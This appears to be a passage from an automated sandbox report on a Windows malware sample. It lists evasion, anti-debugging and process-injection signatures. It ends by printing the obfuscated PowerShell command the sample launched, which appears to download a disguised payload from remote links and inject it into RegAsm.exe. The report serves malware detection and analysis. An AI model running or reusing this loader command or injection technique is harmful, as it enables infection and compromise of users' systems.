Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Delayed program exit found
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040A6C0 Sleep,ExitProcess, 13_2_0040A6C0
Contains functionality to enumerate running services
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 13_2_00412E96
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1600 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1496 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3901 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5871 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 731 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9251 Jump to behavior
Found evasive API chain (may stop execution after accessing registry keys)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5368 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6704 Thread sleep count: 3901 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6404 Thread sleep count: 5871 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6328 Thread sleep time: -17524406870024063s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2440 Thread sleep count: 731 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2440 Thread sleep time: -2193000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2440 Thread sleep count: 9251 > 30 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2440 Thread sleep time: -27753000s >= -30000s Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004081F9 FindFirstFileA,FindClose,FindNextFileA,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 13_2_004081F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004072E5 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 13_2_004072E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407733 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 13_2_00407733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414795 FindFirstFileW,FindNextFileW,RemoveDirectoryW,FindClose,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose, 13_2_00414795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00440A59 FindFirstFileExA, 13_2_00440A59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00404CF3 FindFirstFileW,FindNextFileW, 13_2_00404CF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00405C8E __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 13_2_00405C8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00407FDE FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 13_2_00407FDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040511A SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 13_2_0040511A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3CC6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: QEMU Virtual CPU
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.cdxml',
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Get-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Remove-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: +MSFT_NetEventVmNetworkAdatper.format.ps1xmlX
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Add-NetEventVmNetworkAdapterX
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: #MSFT_NetEventVmNetworkAdatper.cdxmlX
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Add-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'Get-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD3F02000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000006.00000002.1420244282.000001CFD4E8F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: 'MSFT_NetEventVmNetworkAdatper.format.ps1xml',
Source: RegAsm.exe, 0000000D.00000002.2557660938.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API call chain: ExitProcess graph end node
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004320EC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_004320EC
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414EED LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 13_2_00414EED
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00438983 mov eax, dword ptr fs:[00000030h] 13_2_00438983
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040CB6C SetLastError,GetNativeSystemInfo,GetProcessHeap,HeapAlloc,SetLastError, 13_2_0040CB6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004320EC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_004320EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C576 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 13_2_0042C576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C6C4 SetUnhandledExceptionFilter, 13_2_0042C6C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C8EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 13_2_0042C8EC

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi64_8.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 4872, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 8, type: MEMORYSTR
.NET source code references suspicious native API functions
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, Program.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, Program.cs Reference to suspicious API methods: Conversions.ToGenericParameter<CreateApi>((object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi)))
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, Program.cs Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num4 + 8, ref buffer, 4, ref bytesRead)
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, Program.cs Reference to suspicious API methods: VirtualAllocEx(processInformation.ProcessHandle, num3, length, 12288, 64)
Source: 6.2.powershell.exe.1cfdff3d3c8.1.raw.unpack, Program.cs Reference to suspicious API methods: WriteProcessMemory(processInformation.ProcessHandle, num5, payload, bufferSize, ref bytesRead)
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44D000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 464000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46A000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46B000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 46C000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 8E0008 Jump to behavior
Contains functionality to simulate mouse events
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004124EF mouse_event, 13_2_004124EF
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc